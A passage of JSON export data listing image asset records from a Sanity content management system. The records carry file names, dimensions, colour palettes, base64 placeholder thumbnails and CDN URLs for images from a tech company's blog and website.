#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#161a3c","foreground":"#fff","population":3.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ddc6cc","foreground":"#000","population":0.92,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc474","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a6ea4","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb5c14","foreground":"#fff","population":1.81,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"cut-your-apache-kafka-costs_meta-preview.jpg","path":"images/sczeoy4w/production/19e32c1a2dfc830e95626b966ec7edebbb0bfb12-1200x628.jpg","sha1hash":"19e32c1a2dfc830e95626b966ec7edebbb0bfb12","size":49148,"uploadId":"kXWzAgbH8A6KB3T0xdgncae8HU1R9eAJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/19e32c1a2dfc830e95626b966ec7edebbb0bfb12-1200x628.jpg"} {"_createdAt":"2023-03-07T10:54:53Z","_id":"image-1a10682046facae7a61222f63d7ffef4986bf9e3-1280x720-gif","_rev":"iUKOwlWz6dlX4J4w2VZ1r7","_type":"sanity.imageAsset","_updatedAt":"2023-03-07T10:55:00Z","altText":null,"assetId":"1a10682046facae7a61222f63d7ffef4986bf9e3","description":null,"extension":"gif","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAEEAwj/xAAfEAACAgICAwEAAAAAAAAAAAABAgAREiEDQTJRYXL/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/EABURAQEAAAAAAAAAAAAAAAAAAAAR/9oADAMBAAIRAxEAPwDmhlvFsms9eosDTGzr5NwdgdXEfE/qSok5OLFq3CWMoLGxCKP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#452c27","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4e361e","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b8b9be","foreground":"#000","population":0.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8b9be","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dabc9f","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#746ca4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b87f46","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/gif","opt":{"media":{"tags":null}},"originalFilename":"grafana-video.gif","path":"images/sczeoy4w/production/1a10682046facae7a61222f63d7ffef4986bf9e3-1280x720.gif","sha1hash":"1a10682046facae7a61222f63d7ffef4986bf9e3","size":1996908,"title":null,"uploadId":"oqo9sdOQTQVDESKdT2FQkKbdG9SsxjTw","url":"https://cdn.sanity.io/images/sczeoy4w/production/1a10682046facae7a61222f63d7ffef4986bf9e3-1280x720.gif"} {"_createdAt":"2022-06-30T19:56:43Z","_id":"image-1a36e02126751f194658a478e6245373b7ac8df1-1500x444-png","_rev":"QRl2cGoCgj0FlAhkRrhb12","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:01Z","assetId":"1a36e02126751f194658a478e6245373b7ac8df1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D04o7o-:R6xGa1z%%2xsn$t3","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.3783783783783785,"height":444,"width":1500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA2UlEQVQYlU2OCY6DMAxFc4gKQjbHG0mBNmV6/7tV7jDSWE+Wd383FM7H8X7/nOf5GuM1xr5vq3Jb196aqjKzqq6qrbXee29mKsLMDlPAkiuUWi5KSjlGqtX2ECHnHON/UogphMV7l5YQvQ9+Dt6Heb7wPsdYS662GeLyO/DFuvMyT9Pt5ioUosICJEBUkCxFysggWkUrK1j3KhYSEAXEvPjJidS+8/2QfnA/5P4wunndnmrxcaVX8NRtqHaM0TvEIlLtMCZi+89/EJsKwmzSGJi/AtlUQIl+mj6ktS7CsN95VQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d4a38","foreground":"#fff","population":2.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#561d05","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3d4a38","foreground":"#fff","population":2.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccc4a4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e2a996","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#926850","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#843c24","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"1a36e02126751f194658a478e6245373b7ac8df1-1500x444.png","path":"images/sczeoy4w/production/1a36e02126751f194658a478e6245373b7ac8df1-1500x444.png","sha1hash":"1a36e02126751f194658a478e6245373b7ac8df1","size":52431,"uploadId":"4A4OcMoqUWTJZ1m8jM8vA0Ln8Jg5l3fo","url":"https://cdn.sanity.io/images/sczeoy4w/production/1a36e02126751f194658a478e6245373b7ac8df1-1500x444.png"} {"_createdAt":"2022-12-09T16:04:36Z","_id":"image-1a61311daab2fdb2f575fa34c39b414fa044444a-690x413-jpg","_rev":"VrdcoLtXxUWed6PHr8r490","_type":"sanity.imageAsset","_updatedAt":"2022-12-09T16:04:36Z","assetId":"1a61311daab2fdb2f575fa34c39b414fa044444a","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQFCP/EACAQAAICAgICAwAAAAAAAAAAAAECAAMEERITITJBUXH/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/ANQ5vPp1W4Qk+SfqJYoIuU02OF3phZ8/ko5FSXVFXGxE8PGTt5MzuV9eR3qEUIQhCv/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#42544d","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d7753","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#798884","foreground":"#fff","population":0.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4c3bc","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4fcf4","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#798884","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#19e5a1","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"compliance-badge-pci-dss.jpg","path":"images/sczeoy4w/production/1a61311daab2fdb2f575fa34c39b414fa044444a-690x413.jpg","sha1hash":"1a61311daab2fdb2f575fa34c39b414fa044444a","size":7972,"uploadId":"336JwEFrW2k6RCZEXUGPz9WvSCOk4bmR","url":"https://cdn.sanity.io/images/sczeoy4w/production/1a61311daab2fdb2f575fa34c39b414fa044444a-690x413.jpg"} {"_createdAt":"2022-11-17T13:39:04Z","_id":"image-1adab6e768f9c408e355b5fa35b4863ff76edc47-1999x1143-png","_rev":"YI3rks3mbRtnzMpdnM7IS4","_type":"sanity.imageAsset","_updatedAt":"2022-11-17T13:39:04Z","assetId":"1adab6e768f9c408e355b5fa35b4863ff76edc47","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7489063867016623,"height":1143,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABMklEQVQokZ2SbW/DIAyE+f//cvvYFkIDNub1JpNl7dJUmmbpBBHKo7PP5nqzuNwcLtbhZh2cW+C9RwgBpRSMMU6l9fjuGL2j9w7jFo/Fe9zXFSFGEBGYGSkl5JxRa51qrb0AFSBZECmCmCEiMBN2v0+QQlT68KwdfAaMRLi5BXbxWGOE0dZijD8/J06Q9ArcHe6t7mcuBZHTVFKH2p6kNB1ILiASpJSRc90k29laPwWOMdBVfbtP4O6ApcAHxhoTKBWwVHCukNJQD8D9fiyjSSpsmwfjqmlr0mtEIAZp+7mg9fcOx5OMgqbt3mdSbnmsjQ6cZ9plvh9DOSszh/29QzrgDbCl2r7XZYfhzU7+ckgpgyQjlwqRDCKeaR337q8yH5bxaRkuCEKIcNbCOTeX+z/QL3tcX6B9ljUHAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#155383","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1e73b5","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1e73b5","foreground":"#fff","population":0.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9cbed0","foreground":"#000","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6cc5fc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#627074","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#45a5ef","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image6.png","path":"images/sczeoy4w/production/1adab6e768f9c408e355b5fa35b4863ff76edc47-1999x1143.png","sha1hash":"1adab6e768f9c408e355b5fa35b4863ff76edc47","size":260528,"uploadId":"bJKvUp7NdCorOjtc3P0pwPjilllcUp65","url":"https://cdn.sanity.io/images/sczeoy4w/production/1adab6e768f9c408e355b5fa35b4863ff76edc47-1999x1143.png"} {"_createdAt":"2023-10-20T13:54:51Z","_id":"image-1af90cc243d15b19924297129e793bc94cad8115-1200x800-jpg","_rev":"kfl1F24L65Nzg04H5J7p1l","_type":"sanity.imageAsset","_updatedAt":"2023-10-20T13:54:51Z","assetId":"1af90cc243d15b19924297129e793bc94cad8115","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VNLXPhEM8_x^IA?^%2s+RiRj-nM_M{xvtS9FxE%gRkRi","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":800,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAcCBQb/xAAhEAABAwQCAwEAAAAAAAAAAAACAQMEAAUGERJBExQhUf/EABcBAAMBAAAAAAAAAAAAAAAAAAECBAX/xAAbEQACAgMBAAAAAAAAAAAAAAABAgAhAxExIv/aAAwDAQACEQMRAD8A32O5BCl3a6wPAjXomgcz+cvnVWjOT2B2dJiCnmdjiJuaTpeqWGPnKKY7HOURHJcQ3HVFOSrTajYjb7Sx7zKKc50UA3TTex/NUheyijkIXfTcW2a354L64trIWopAhCKjvVFTymGKXc0RdIgomkTX7RUjZL7NBcVDzP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6c4135","foreground":"#fff","population":2.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#416495","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8f7845","foreground":"#fff","population":6.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bdb09e","foreground":"#000","population":5.57,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1bcbb","foreground":"#000","population":0.07,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8f7845","foreground":"#fff","population":6.71,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#28ad6a","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"01C703784A0FFD072E94.jpg","path":"images/sczeoy4w/production/1af90cc243d15b19924297129e793bc94cad8115-1200x800.jpg","sha1hash":"1af90cc243d15b19924297129e793bc94cad8115","size":189638,"uploadId":"RwIWiR2L9J40jaZDLas00RZcyrKuhtxF","url":"https://cdn.sanity.io/images/sczeoy4w/production/1af90cc243d15b19924297129e793bc94cad8115-1200x800.jpg"} {"_createdAt":"2022-09-28T08:50:27Z","_id":"image-1b0ac3e56d861b8415f5619d17b9a735f9c82db2-1200x630-jpg","_rev":"z4aw9LO53fWpwEzdXQ1ZHO","_type":"sanity.imageAsset","_updatedAt":"2022-09-28T08:50:27Z","assetId":"1b0ac3e56d861b8415f5619d17b9a735f9c82db2","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MYP~~9?wxvDi.8xvNbRjw]b^?GMxNHxCbc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYEBQcI/8QAIxAAAgEDAwQDAAAAAAAAAAAAAQMCAAQRBQYhEhNBUSMxof/EABYBAQEBAAAAAAAAAAAAAAAAAAMAAf/EABkRAQADAQEAAAAAAAAAAAAAAAEAAhEDEv/aAAwDAQACEQMRAD8A6INu6N5Jpu2mOSe3nikLfO5lTLbV8Y27lS4+UdUx6xWjxhEtbkefdL249taPqDouvNPS1vB6znP5QdbFzzY0j895vqriSVse+dfbctnNjIHkDJzkD6oq30m1Ta2Ck26wtURgRHiitL2lYF3J/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444445","foreground":"#fff","population":6.62,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#363116","foreground":"#fff","population":0.21,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#444445","foreground":"#fff","population":6.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcbec3","foreground":"#000","population":0.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#68b0f4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5f848c","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1881c","foreground":"#000","population":3.42,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"How_to_get_started_with_aiven_meta_preview.jpg","path":"images/sczeoy4w/production/1b0ac3e56d861b8415f5619d17b9a735f9c82db2-1200x630.jpg","sha1hash":"1b0ac3e56d861b8415f5619d17b9a735f9c82db2","size":79331,"uploadId":"T03LhiWj7KyhapX4EPOXkX0m8xYI1F85","url":"https://cdn.sanity.io/images/sczeoy4w/production/1b0ac3e56d861b8415f5619d17b9a735f9c82db2-1200x630.jpg"} {"_createdAt":"2022-06-30T19:59:00Z","_id":"image-1b1053ccc9385dee91c008ed4e15794065eca56b-1583x376-png","_rev":"ecafYeJdFUSoqAVEkXNemb","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T00:58:14Z","assetId":"1b1053ccc9385dee91c008ed4e15794065eca56b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DAMaO-Na00%100_NV?IUo#Mx","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.210106382978723,"height":376,"width":1583},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA8klEQVQYlU3PzUuEQBjHcf/qQreZZ7yI4Nt2C7pIpy6BYMjuCnlRgpB8AbsawYga67gHhcUVascN+pyeyxd+j7C6vhJFUZIkVVUdx4njOE3TJElSLsuy5SiKIs9z13U1TcNwIeCbFcYYIWQYRhAElNJvbs8xxvq+Z4wdDoe2bcMwtCwLAAgnAEKEEAAwTTOKoq7rhmEYx/HITdM0z/PpNM/Tcej3b6/R7XoNALIsn2OM8BLruu77flmWlNKqquo/TdM0dV3Tz6+P95dnx9R1IOScEiIgdHlBURTbtj3P23K7/7abned6T48P93eqoiybf+Mf1KfTqjxonEsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#52433c","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b2b09","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":34.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.28,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7dbb0","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":34.68,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f17a48","foreground":"#000","population":0.46,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"1b1053ccc9385dee91c008ed4e15794065eca56b-1583x376.png","path":"images/sczeoy4w/production/1b1053ccc9385dee91c008ed4e15794065eca56b-1583x376.png","sha1hash":"1b1053ccc9385dee91c008ed4e15794065eca56b","size":54246,"uploadId":"ZkKo9uZtN1wePcqafBivzAHEGd4wYaRo","url":"https://cdn.sanity.io/images/sczeoy4w/production/1b1053ccc9385dee91c008ed4e15794065eca56b-1583x376.png"} {"_createdAt":"2022-10-06T14:13:15Z","_id":"image-1b2975474525248f42112b6f69072ab788dff026-1567x844-png","_rev":"6A7y012pmf5STlJrFLaPuI","_type":"sanity.imageAsset","_updatedAt":"2022-10-06T14:13:15Z","assetId":"1b2975474525248f42112b6f69072ab788dff026","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACf0lEQVQokXWSy0sbURTG53/ouoXu3PfPKLjoplBwVUqR7iJUXWihdN2iCCV0UQoaS1ts1EKTGDtqJhNjzJin0SSTx7zn3pm8x9UwX5lREIpdfPzuPQe++53DZTRjAEmh6MokUEfy6d/pTf2m59clAlXvgdAxqDUJRKwJfA9FtaGbQzD1poxcvgz+WECazyOVziGduSWfEcDxp+D4PDLZAirnLajGANS+gkFGaLYUFEs11C5a0Iw+mNplB1w6h739FBLJQ8QTB4jFWcQSLA5T2eCx09Mz5LNHKOVYNM5LMNoN2GIV7WoR7D6L37EkKtUGTDoC0xAVZE+KYA947LNp/GHTAY9SWZSrTciKCaNThFWNgFa+QK3EoXMR9LYW0Im8Brf5ATybRLujg9oOGH8nYlvDRb0b6LIu4bIhodlSoegDUGJiJO5iVF6BfLaOQnoHhegquiuPYb6dgr42DSO1CaIZIL6hv9S7NQaxr2CZGob1b7DO1iBwUWxHf2Lj0yp23s2gMvcQ/eX7cLbm0GvXrg39mHfKN/VJe+h3MzDLERyzPxAOhxEKhTD//Am2X06hG7oHI/wUWvkYxPINrYlH/isnoEVMT+9UPeEk5W1srHtLS8vewuyMt/XqkcfNPvAii8+8ZPzA08yRx1C9B10mkGUa/Cd/XD/h7ejXiQ0yhNiSIAgFxBN7+Pr5I9j3L7C7OI0388tYj/JQ9CEYqpiu2pTclqi4smq7Jh271HZcYk1cckNqTwIa5sBVNeKKYsctCHm3dPjLFWLf3USCc3NlyTXI2GWoOXBMvedoet8xyMgh1sShtnPNf84+TTpydKPnyCpxFIU4hm47JhkGPV9/AU9r+2eLn9ouAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344876","foreground":"#fff","population":0.44,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#082a60","foreground":"#fff","population":0.68,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6780b","foreground":"#fff","population":4.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4b5cf","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3c930","foreground":"#000","population":0.33,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#586ca8","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6780b","foreground":"#fff","population":4.64,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Introducing_Cassandra_updated_blog.png","path":"images/sczeoy4w/production/1b2975474525248f42112b6f69072ab788dff026-1567x844.png","sha1hash":"1b2975474525248f42112b6f69072ab788dff026","size":118976,"uploadId":"oNtQ0PXHeMbf044xqE76VVb4Vm7v5KIf","url":"https://cdn.sanity.io/images/sczeoy4w/production/1b2975474525248f42112b6f69072ab788dff026-1567x844.png"} {"_createdAt":"2023-12-05T14:03:20Z","_id":"image-1b3d9113c99a33b3a028c727061a8e6f1c956972-1200x628-png","_rev":"qGO7x5curYKYCZh8YN9bvu","_type":"sanity.imageAsset","_updatedAt":"2023-12-05T14:03:20Z","assetId":"1b3d9113c99a33b3a028c727061a8e6f1c956972","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MAA,9h1?,kwQ55-@NX,oBEvx8{M^t9xZbI","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACqElEQVQokTXSS1NSAQCGYX5BC0REAQVBRD15QDmIAseyIERCOFxNTEvwQmYaWIBd1EytNGtqqmkap2aadtaqTa0aN02bZvpDb2OXxbt95lt8KrUuQYs1R4c4g9C7wElpiZNSCbvjOs3t19CZr9FgXkbXukKjpYpZ2GRw5AOTCz9YKH5mP5fncKyPjXAav3sTlUafQeidw3/2BnKggu9MDTlwh8HgOj0DtzB1lGmyljDYbmK0r2JzPiCoHDJb/sV69Quf5nN8T9l5eypArqeMSmPI0juwSERZI6JsMDy6wfnEDtHUI4bCW/R47yJ61nDJW0jyA1zyU84lDple+kmtcsTLwg0+Rv0cyEFKvVdQ1RuzuH1LKNn7KNktYultUrk94tk9IoldQqN7hGL7xLIviGZeEYi+ZiR9yMTcEcXFr1Tyj9mdKrA3Pk0xWD0Gx3D7l4hnNoln/oLJC7uMpo97TCT5hOH4PpHkc0aSLxiOv2Y08x5l7IB0ao3LqRmujk9QzM0TDt37u9Dpucq587cJx9cZjt0jomwTju0QiOzgljfoct1GkNYQ3Jt4Bu6TCVaZPDtGWPIQlHoI+7yc9sURpQoqdWOaVvsU3a4ijr5FHJ5lnP0rOPsrCK4KLfYSutbrNFlXaGpbxdlVouYb4d2QlVt9ZrJukZhXQpZCdIglVGqtgsmYxGabwNJZwNCWp8F03Cw60xUaTIv/blNGZ63h7Fxm2zvEt6CZN0Pd5E8NEpX9eKUodkcFVZ02jtWg0Nk+QZtQoMkyjVo/hVqfR2OcR9vyD7Ss0GitIXSUmZEyPPQFWfYmCPWP45ayCI45rOI2qhP1CnUNCbT6DNrmHBrDRer0l9AYC9Q3z6P9v/APWMXcXsMllPF3l5HEVbrEu9jEdSzdD2kVn/EbXfSAtZPPvDEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#23243c","foreground":"#fff","population":5.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041478","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ce582d","foreground":"#fff","population":8.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6a7cf","foreground":"#000","population":1.63,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6975d2","foreground":"#fff","population":5.46,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#505d98","foreground":"#fff","population":0.54,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ce582d","foreground":"#fff","population":8.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Workshop-OpenSearch-Sebi 1200x628.png","path":"images/sczeoy4w/production/1b3d9113c99a33b3a028c727061a8e6f1c956972-1200x628.png","sha1hash":"1b3d9113c99a33b3a028c727061a8e6f1c956972","size":335493,"uploadId":"S1ax7KrHUJSKo4zxbQkABj3eGg7kMx9j","url":"https://cdn.sanity.io/images/sczeoy4w/production/1b3d9113c99a33b3a028c727061a8e6f1c956972-1200x628.png"} {"_createdAt":"2022-09-07T06:39:00Z","_id":"image-1b918114a683c20eace09955fc60d5a2d3600ba2-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRriVgo","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:50Z","assetId":"1b918114a683c20eace09955fc60d5a2d3600ba2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MAA,O+8J@@EgJCPp^P9]jb$$0e#8KO$$kB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACz0lEQVQokVWSWW8aBxRGx2bxkjRQtyFyHFWxgWFYDR2MF4gxiwmKg4ONWWYYdry2UdukTtrKAZvFdpznqv+hv6Lvfan60p9zKmOpUh+OdO99OPeT7hU+87aY+fqAh8FDHoWO+SJ4zL3ACVOBE+4FjnjgP8Dsb2P2NfncW2fGrfFALDK1sMfEQgGjVcFgu0VFb68gzK2/JbBzzmpxwDP1itXSEDnXx5e9wJ3p4Ml0CO6eE9rpIG//gi99ytzyEZMObSQxWksYrcVRrROrCI+jp4TyA+LVjyTrNyRqN2w2PhGvXLOS77Ga75GsfRz14dKAtWIfZ/pnTPIJeqmOwV7GOEqn3Qkt4TcEcz0S1WuSlUsS5QGpypB0dUCs2B3xvDIgpvRZL/XZrF0TLvSYi3yPwdXE7Crj8hewectMOxsIlrXvkHfP2VCHRIvnRHJnPMudkS5f8KLSI6312FR7REsXd8tqVyxlz3i4dIxBquGVd/kpnuRwNcusp4nweO01y7kuiXKfj